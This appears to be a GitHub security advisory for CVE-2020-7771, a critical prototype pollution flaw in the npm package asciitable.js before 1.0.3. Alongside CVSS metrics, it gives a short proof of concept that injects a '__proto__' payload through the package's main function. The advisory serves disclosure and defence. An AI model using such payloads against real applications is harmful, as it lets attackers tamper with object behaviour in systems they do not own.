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Prototype Pollution in asciitable.js

Critical severity GitHub Reviewed Published Apr 13, 2021 to the GitHub Advisory Database • Updated Sep 20, 2023

Package

npm asciitable.js (npm)

Affected versions

< 1.0.3

Patched versions

1.0.3

Description

The package asciitable.js before 1.0.3 is vulnerable to Prototype Pollution via the main function.

PoC

var a = require("asciitable.js"); 
var b = JSON.parse('{"__proto__":{"test":123}}'); 
a({},b); 
console.log({}.test)

References

Published by the National Vulnerability Database Jan 4, 2021
Reviewed Apr 6, 2021
Published to the GitHub Advisory Database Apr 13, 2021
Last updated Sep 20, 2023

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS score

0.436%
(75th percentile)

Weaknesses

CVE ID

CVE-2020-7771

GHSA ID

GHSA-5pxj-mhwj-x5gv

Source code

Credits

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